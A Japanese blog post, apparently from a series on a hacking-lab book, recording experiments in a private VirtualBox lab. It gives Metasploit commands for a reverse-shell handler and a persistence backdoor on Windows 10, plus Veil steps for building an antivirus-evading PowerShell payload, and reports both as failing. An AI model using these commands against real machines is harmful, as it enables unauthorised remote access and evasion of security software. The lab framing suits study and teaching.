Windows10に対して、バックドアの設置を行います。
また、Veli Frameworkを使ってペイロードを作成し、アンチウイルスが回避できるかどうか実験してみます。
まとめ記事(①〜⑯をまとめてます)
【ハッキング・ラボのつくりかた】をやってみた
システム環境
仮想化ソフト
:VirtualBox 6.1.0
ホストOS
:Windows10
ゲストOS1
:Kali Linux 2020.1
ゲストOS2
:Windows7
ゲストOS3
:Windows10
攻撃端末はゲストOS1、ターゲット端末はゲストOS3です。
IPアドレスはゲストOS1が10.0.0.2、ゲストOS3が10.0.0.107です。
バックドアの設置
Windows7と同じようにバックドアを設置してみます。
まず、Kali Linuxのmsfプロンプト上で以下のコマンドを実行してリバースシェルを待ち受けた後、Windows10で前回作成したevil2.exeを実行してリバースシェル接続を行います。
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit
次に、以下のコマンドでバックドアを設置します。
> run persistence -X -i 60 -P windows/x64/meterpreter/reverse_tcp -p 4444 -r 10.0.0.2
プロンプト上ではバックドアの設置はうまくいったように見えます。
しかし、Windows10側ではVBSファイル(ここではNtARTj.vbs)は作られていますが、レジストリには自動実行の登録はされていないようです。
試しに自動実行が行われるかテストしてみましたが、60秒ごとに接続を試みるものの接続できませんでした。
また、Kali Linuxでリバースシェルを待ち受けた上でWindows10を再起動してみました。
こちらは接続できないどころか60秒ごとに接続を試みることもありませんでした。
やはりレジストリに登録されていないのが原因のようです。
現状ではバックドアの設置は諦めるしかなさそうです。
アンチウイルスの回避
ここではアンチウイルスの回避をテーマに進めていきます。
Windows10ではウイルス検知が厳しく、今までペイロードを保存及び実行する際には設定でリアルタイム保護をオフにしてから行っていました。
しかし、リアルタイム保護は基本的にオンになっていますし、オフにしても一定時間でオンに戻ってしまいます。
また、オンになると保存したペイロードは自動削除されることもわかっています。
そこで、アンチウイルスを回避できるペイロードの作成を試みます。
ペイロード作成にはVeil Frameworkを使用します。Veilはアンチウイルスを回避できるペイロードを作成できるツール群です。
Veilのインストール
Veilをインストールします。
# apt update
# apt upgrade
# apt install wine32
# apt install veil-evasion
インストールが完了したら、次のコマンドで初回セットアップを行います。
# veil
セットアップの最後に以下を実行するよう促されたので実行します。
# /usr/share/veil/config/setup.sh --force --silent
ペイロードの作成
ペイロードを作成していきます。
Veilを起動します。
# veil
Veilを最新化しておきます。
>: update
ツールを選択します。
ここではEvasion(番号1)を指定します。
>: use 1
ペイロードを選択します。
ここではpowershell/meterpreter/rev_tcp.py(番号22)を指定します。
>: use 22
以下を実行してペイロードを作成します。
ファイル名はevil3としました。
>: set LHOST 10.0.0.2
>: generate
ペイロードのダウンロード
Windows10側で、作成したペイロードをダウンロードしていきます。
公開用ディレクトリに移動させます。
# cp /var/lib/veil/output/source/evil3.bat /home/kali/Desktop
# cp /home/kali/Desktop/evil3.bat /var/www/html/share/
# service apache2 restart
リアルタイム保護をオンにした状態でダウンロードしてみます。
しかし、ウイルスとして検知され、ダウンロードに失敗しました。
とりあえずリアルタイム保護をオフにしてダウンロードしておきます。
ペイロードの実行
Kali Linuxのmsfプロンプト上で以下のコマンドを実行してリバースシェルを待ち受けます。
> use exploit/multi/handler
> set payload windows/meterpreter/reverse_tcp
> set LHOST 10.0.0.2
> exploit
Windows10でevil3.batをダブルクリックで実行し、リバースシェル接続を行います。
このとき、リアルタイム保護をオンにしておきます。
リアルタイム保護をオフにして実行すると、接続に成功しました。
しかし、ここではアンチウイルスを回避することが目的なので、実験は失敗と言えます。